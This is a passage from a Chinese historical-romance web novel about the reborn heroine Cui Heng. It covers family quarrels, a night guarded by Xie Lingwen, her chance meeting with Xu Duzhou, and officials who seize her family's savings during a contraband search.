“这个破匣子都不用找,烤番薯的钱我给你放在这里了,你记得把匣子换个地方藏,还有那个谢令闻,你不要和他,算了,你最重要的事就是把他看好,最好拴起来!!”
“这是堂兄的字迹。”崔蘅拿出一枚铜币,低声自语:“原来这些钱都是堂兄放进来的。”
谢令闻碰了下自己袖中空了大半的钱袋,垂眼道:“堂兄人也不算坏。”
崔蘅救崔安原是为了大伯娘,现下见到这些钱也有了几分真心实意,便抱着匣子将钱交给了崔显。
陈娘直说崔家三口是她的恩人,要下跪给崔蘅磕头,崔家又是一阵兵荒马乱。
夜色逐渐弥漫开来,整座府城一片死寂,齐府却还灯火通明。
“夫君,这么晚了还不休息吗?”齐夫人披衣提灯而来,推开门见齐言宗对着昏暗的烛光伏案写字,轻轻叹了口气,“怎么不多点两个蜡烛,这样多坏眼睛。”
齐言宗抬起头,对着夫人笑了笑:“青州百废待兴,我身为一州之首官,应以身作则勤俭节约才是。”
齐家家风严谨,齐言宗对儿女管束严苛,最不许的便是自家人铺张浪费。
他把奏折盖上官印,轻轻吹干印泥,朝齐夫人叮嘱道:“近日不太平,夫人记得叮嘱煊儿出去多带些人,莫要惹出祸事来。”
“我省的。”齐夫人知道城中出现了禁物,满目忧心,“此事会不会连累夫君?”
齐言宗面色凝重地摇了摇头,叹道:“谁也说不准,皇上多半会派御使前来调查,只希望来的不是那些囊虫罢。”
他早就注意到那家酒馆的不对劲,暗中调查许久却一无所获,酒馆背后必定有来头大的人暗中相助,崔家那孩子走失八成与此有关系,御史来了定也查不出什么头绪。
到最后不知道又会是哪个替罪羊被推上断头台。
齐言宗望着外面如墨的黑夜,无声地叹了口气。
大周的太阳已经不如之前那般亮了。
33.赵檐
原以为有了齐抚州相助,又拿了许多银钱打点,崔安的事多少会有些进展,可一连过了几日,依旧半点消息也没有。
已快近新年,百姓们皆忙着杀猪宰羊购置年货,城中一派喜气,崔家却依旧阴云密布。
这日一早,崔老太便蹭同村的牛车赶进府城,要崔显和丽娘交出老崔家的两个宝贝疙瘩。
崔蘅被爹娘拘在屋里不许出去,待在书房都能听到崔老太嘹亮的嗓门。
“什么禁物官府我听不懂,我老婆子只知道我儿和我金孙来你家一趟就出了事,你们脱不了干系!”
崔蘅听到陈娘在哭,丽娘在骂崔老太是个不讲道理的老妖婆。
崔老太的声音越发高亢:“你们两个贱蹄子就是扫把星!一个二个嫁进门后家里就没好事!尤其是你沈丽娘,下不出蛋就腆着脸去养别人儿子!那姓谢的小子怕不是你和哪个奸夫生的野种,如今接回来是要将我崔家的家产都独吞入腹吧!”
崔蘅蹭地站起来,抄起一旁的小杌就朝门外去。
谢令闻却站到前面挡住她,皱眉道:“不可以。”
崔蘅气得咬牙切齿:“她在说你和我阿娘!”
“我知道。”谢令闻心平气和地道,“她到底是长辈,你出去打她是出气了,可往后旁人皆会说你目无尊长、刁蛮无礼,到时议亲也会难上加难。”
他以为此话一出她会冷静下来,她却嗤笑,满脸不屑:“旁人说什么干我何事!我只在乎能不能出了这一时的气,通了这气我才爽利,才畅快!”
说罢,她便绕过他一脚踹开门,站在院子里甩手就将手里杌子砸过去。
崔老太被砸中,抱着脚乱跳。
“你这个孽障竟敢打亲祖母!我定要让显儿将你和你娘逐出家门!”
“你去说啊!看我阿爹向着谁!”崔蘅才不怕,她打定主意要好好修理这个嘴里不干不净的死老太婆,便是丽娘和陈娘一起也拦不住。
她肆意的笑,像无可匹敌的将军霸胜战场。
他一身酸腐气,倒忘了她是烈火般的小娘子,遇到不平之事定要灼灼的烧过去,酣畅淋漓地将一切荡为灰烬。
屋外一团乱麻,崔蘅把崔老太追的手脚灵巧,年轻了不止十岁。
崔显接到消息匆忙赶回后才平息这场闹剧。
“你教的好女儿!竟敢动手打祖母,真是无法无天!”崔老太见儿子回来便一改方才的刻薄,开始哭诉崔蘅的种种不是。
崔显见多了自己老娘的两幅面孔,冷声道:“无法无天也是我教的,娘若看不惯就赶紧回去,也省得气着自己。”
崔老太一屁股坐在地上就开始拍着大腿嚎:“真是作了孽啊!我老婆子一把年纪,已经没了儿子孙子,还要受你这个不孝子的磋磨!我不如死了算了!”
崔显半点不惯着她,直言道:“娘再大声一些,最好让全城人都听到我崔显是如何逼死亲娘的,届时我若因此入狱,也恰好省了为大哥和安儿东奔西走。”
崔老太一听可能会耽误崔大和崔安,整个人顿时老实下来,半点也不敢闹了。
天已快黑下来,崔老太与陈娘只能暂住在崔家。
崔家只有三个房间,店小二忙了一整天,自然不能要他再把床榻让出来,崔显便与谢令闻商议,让崔蘅去谢家睡一晚,崔老太与陈娘便睡在崔蘅的房间。
谢令闻将谢秋娘的床榻收拾好后,叮嘱崔蘅锁好门便回了自己房中。
崔蘅心中挂念着崔安的事,没发觉谢令闻的不对劲,卷在被子里翻来覆去地叹气。
月色幽幽,她闭着眼睛在心里顺着前世的时间线,却惊然发现自己脑子里只有事件,无论如何也想不起来具体时间。
崔蘅烦躁地坐起身,想下榻吹吹风叫自己清醒一些,脚放进鞋子里时,悚然察觉到里面有团毛绒绒的不明物。
“吱吱——”
崔蘅一低头,正对上两只泛着红光的眼睛。
谢令闻在屋内看书,听到崔蘅的惨叫声立马赶过去察看,方推开门,一个身影便窜进了他怀里。
怀里的小娘子似乎十分惊恐,整个人缩成一团紧紧贴着他,连嗓音都在打颤:“老鼠!有老鼠!”
谢令闻僵着身体环视了一圈,并没有发现老鼠的踪迹,便把她放到榻上,拉开与她的距离。
“已经不见了,别怕。”
崔蘅依旧紧紧拽着他的袖子,脸色发白,眼神惊恐。
她前世做乞丐的时候睡觉被老鼠啃过脸,从此对老鼠的惧怕便刻在了骨子里,长多大都忘不掉。
白天还威风凛凛的小娘子蜷缩在榻上紧紧拽着他的衣袖不放,经过方才那么一遭,单薄的衣衫也有些散乱,露出一点莹白的锁骨。
谢令闻移开目光,用被子将她裹紧,轻声道:“我在这里守着,不会让老鼠靠近。”
崔蘅心知他体弱,熬一宿身体定会出问题,小声道:“我没事的,谢哥哥去睡吧。
她嘴上说着要他去忙,一双眼睛却紧紧地盯着他,眼圈通红,瞧着可怜得紧。
谢令闻微不可察地叹了口气:“我去拿书来看,马上老鼠出来将它赶走再睡。”
崔蘅将被子拉上一些,只露出一双眼睛,声音闷闷的:“那你要快些回来。”
像撒娇。
谢令闻偏过头,低低地应了一声后才迈出门去。
青州冬天的月亮雾蒙蒙的,连月光似乎也缭绕着寒气,给小小院子的铺满一地白霜。
谢令闻坐在离床榻五步远的圆凳上,借着门缝里漏进来的月光看书。
他的身影被月光拉的很长,一直投射到榻边,像道围栏一样将崔蘅不漏一点地圈在帐中。
她的心渐渐安定,困意在这一刻也猛地涌上来。
谢令闻看完最后一页书,再抬起头时,小娘子已经窝在被子里睡得香甜,带着婴儿肥的脸颊红扑扑一片。
他坐在原地远远地看了一会儿,才站起身走过去将床幔放下。
夜如止水,幽静柔和,谢令闻守着月亮坐了一整晚。
第二日崔蘅醒来时见他眼圈下满是青黑,便知他定熬了一整夜。
她这一夜却睡得极好,梦都没做一个。
崔蘅有些愧疚,便上街打算给谢令闻挑个笔洗,再给劳累数日的家人买些早食回来。
清晨的街道被各色烟火气包围,崔蘅去了附近一家谢令闻常光顾的书铺。
书铺里的笔洗各形各色,十分精美,谢令闻为省钱,一直将碗充做笔洗,她想挑个不一样的当作新年礼物送给他,寓祝他去除旧事,迎接新生。
崔蘅一眼便看中一个荷叶洗。
这个荷叶洗通体碧绿,洗沿呈荷叶迎风摇曳状,薄如蝉翼,仿若真的荷叶一般,十分精美。
她伸手去拿,却有另一只手不知从哪而来,也去拿那只笔洗。
两只手碰到一起,崔蘅一愣,转头看过去。
少年郎墨发高束,一双桃花眼波光流转,冲着她笑:“小娘子也看中这方笔洗了?”
崔蘅压下心底的惊涛骇浪,忙收回手,将脸深深埋下:“郎君若喜爱,我愿让与郎君。”
少年修长的指尖把玩着笔洗,瞧着她怯懦的模样,眼中的兴致褪去些许,笑道:“俗物罢了,我无意争抢,便让给你罢。”
他把荷叶洗扔回架子上,随意拿了卷书,掏出一锭银子扔下便迈了门。
崔蘅余惊未消,靠着墙深呼吸数次才缓过神来。
她没拿荷叶洗,挑了个双鱼洗便垂着头匆匆回了家。
街边一架规制普通的马车里,方才的少年郎见身边的人掀起车帘一角定定地看着那小娘子的背影,无奈道:“这个小娘子根本不如传闻所说的那般骁勇,反而十分怯懦,见了我便如鹌鹑一般,也就一张脸长得还行,比我最近喜欢的如烟好看那么一点点吧……哎,王爷是不会允许你娶外地女的,做妾大抵还行。”
“你哪只耳朵听到我喜欢她?”赵檐放下帘子,随手端起茶杯,掩下眼底的晦涩。
“不喜欢你一路盯着还让我去骚扰人家?”徐渡舟完全不信他的话,眼珠子一转便出了个骚主意,“要不我替你先养着这小娘子,待调教好了你再接回府如何?”
赵檐皱起眉,将茶杯重重地放在桌上,斥道:“那姑娘为良家女,岂容你胡乱放肆!”
徐渡舟轻啧:“行行行,听咱们世子的话,我不胡闹还不行吗?”
云散现日,阳光暖洋洋地照进屋子里,崔蘅却依旧手脚发凉。
她知道自己迟早会遇到前世的故人,却没想到这一天来得如此早,又如此突兀。
今日她碰见的便是前世的老熟人——徐泊舟。
除了崔蘅外,他是赵檐手里的第二把利刃。
徐渡舟乃现任首辅徐从诫之孙,徐泊舟父亲早逝,徐阁老将所有期望都压在这个孙子身上,可惜他志不在此,常出入于烟花柳巷之中,是个不折不扣的纨绔子弟。
时间长久后,徐阁老便对这个孙子失望,转而呕心培养自己的学生梁鹤云。
直到徐阁老只剩一口气便要驾鹤西去,徐渡舟却还在花楼狎妓,对徐府下人道,便是祖父只剩一口气也得等他先疼完花魁再说。
这让徐阁老彻底死心,不许徐泊舟为他戴孝扶棺,反而要梁鹤云抱着他的牌位送葬。
后来长宣王府没落,徐渡舟在短短几年时间内没了亲人与好友,便离开上京一路漂泊,在泊州遇到一生的转折,让他对朝北人恨之入骨。
朝北发兵大周后,他长途跋涉来到安阳参军,仅用几年时间便成了让朝北人闻之丧胆的少年将军。
现在的徐渡舟还是个骄傲的少年郎,和皇长孙赵檐形影不离
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他出现在青州,那赵檐八成也在。
崔蘅几乎不敢细想赵檐为何会突然来青州,他现在还未及冠,青州粟花之事绝对轮不到他处理。
难道……他也重生了吗?
崔蘅被自己的念头惊出一身冷汗,站起身在屋内来来回回走了好几圈才堪堪冷静下来。
不可能,赵檐就算与她一样重生了,也决不会知道她在青州。
前世他们相遇在上京,崔蘅除了陪他远赴安阳就藩之外,人生的前十几年完全没有离开过上京。
他若真想寻她,也只会在上京查线索,决计想不到她会在青州。
而且,赵檐也没有寻她的理由。
前世的情谊早就被那支黄翎箭射的支离破碎,他若还要几分脸面,便不会巴巴地再跑到她面前来寻不痛快。
崔蘅安慰好自己,慌乱的心跳慢慢趋于平静。
午饭时,崔显自外归来,终于带回新消息。
却不是关于崔安。
“朝廷派了御史来处理粟花之事,现在命令已经下来了,说要全城搜查,每家每户仔仔细细地搜,凡是查到禁物的立马严惩。”
“那安儿呢?”陈娘迫不及待地追问。
崔显沉重地摇了摇头:“御史只管粟花案,安儿是他亲爹自己卖出去的,撑死也只算崔家的家事,齐抚州倒是想帮我们查,可他调来不久,那些老滑头还不信服他,他有心无力。”
“这么说,我们安儿找不回来了!?”崔老太脖子一梗,顿时晕了过去。
崔家又是一阵兵荒马乱。
送走大夫后,陈娘虽眼睛红肿,倒显得比一开始冷静许多。
“二弟知道你大哥他什么时候能出来吗?”
崔显道:“应要御史离开青州后。”
“那时间应该够了。”陈娘轻轻点了点头,抬眼望向崔家夫妇,忽然提裙跪下,“二弟、弟妹,近些日子实在麻烦你们,我原不想再叨扰,可我娘家不顾我的死活,我只能求你们了!”
“嫂嫂有事便说,我们能帮就帮,快起来说话!”丽娘忙上前将她扶起来。
陈娘道明自己的请求。
她想在崔家做一段时间的工攒些钱,等崔大出狱后便出城去寻崔安。
丽娘也不禁红了眼眶:“可天下那么大,你如何寻呢?”
陈娘柔柔地笑了笑:“我才二十多岁,还有那么多年的时间呢,总有一天会寻到的。”
尽管崔家已经收入微薄,甚至连过年的银钱都不剩分毫,崔显与丽娘却依旧答应了陈娘的恳求。
夜间,崔老太还没醒来,官兵就已经搜查到了崔家。
因着防范崔家的酒也有粟花,崔家的酒窖被翻了个底朝天,以往酒客的存酒也被他们拿出来挨个尝遍。
这哪里是搜查,分明是吃白食来了!
可偏偏无人敢对这些官兵发作,要恭敬地迎他们进门,还要在他们将家里翻得乱七八糟后恭敬地送他们走。
关上门,崔蘅便怒道:“脱下那层皮,说他们是强盗也没人不信!”
“豺狼当道啊。”都是崔显叹了口气,弯腰将官兵碰掉的花瓶碎瓷片拾起来。
崔蘅想起来自己放在书房的匣子,连忙跑去查看。书架上的书已经被丢的乱七八糟,毫不意外,匣子里的钱全不见了。
谢令闻进来时,她正坐在窗边看月亮。
他没有说话,站在她身旁,随着她的目光一起望向天边的圆月。
“谢哥哥,我们的钱被那些官兵拿走了,堂兄也找不回来了。”她的声音很闷,还带着点沙哑。
崔蘅很挫败。她原以为活了两辈子,知道许多别人不知道的东西,便能以此带着身边人过上好日子。
经过此事后,她才明白,自己并没有多么聪明,也没有多么厉害。
莫说身边人了,她连一匣子钱都护不住。
谢令闻蹲下身,从袖子中拿出剩余道半袋钱,将其倒入匣子中。
他抬眼望向她,声音很轻地说:“以后不会有人再敢抢你的东西,堂兄也会找回来。”
这是他给她的承诺。
夜色沉酽,赵檐的屋内依旧散落着微淡的烛光。他将手里的画卷铺开,对着灯火仔细观看。
画中人一身劲装,身披银光铁甲,身姿挺拔而清瘦,手中的弓箭已经张满,紧绷的弓弦带着凌厉的杀气,仿佛下一刻便要刺破虚空。
赵檐的指尖从画卷上的银枪慢慢滑到那张空白的脸上,轻声呢喃:“你到底是谁,为何日日出现在我梦中……”
那个小娘子虽会弓,背影也与他梦中人有几分相似,可她终究是女子,家中也没有兄弟。
线索就此断开,赵檐闭上眼,耳边又响起那道清朗坚定的嗓音——“殿下,我会一直追随您、保护您,不要怕,我一直在。”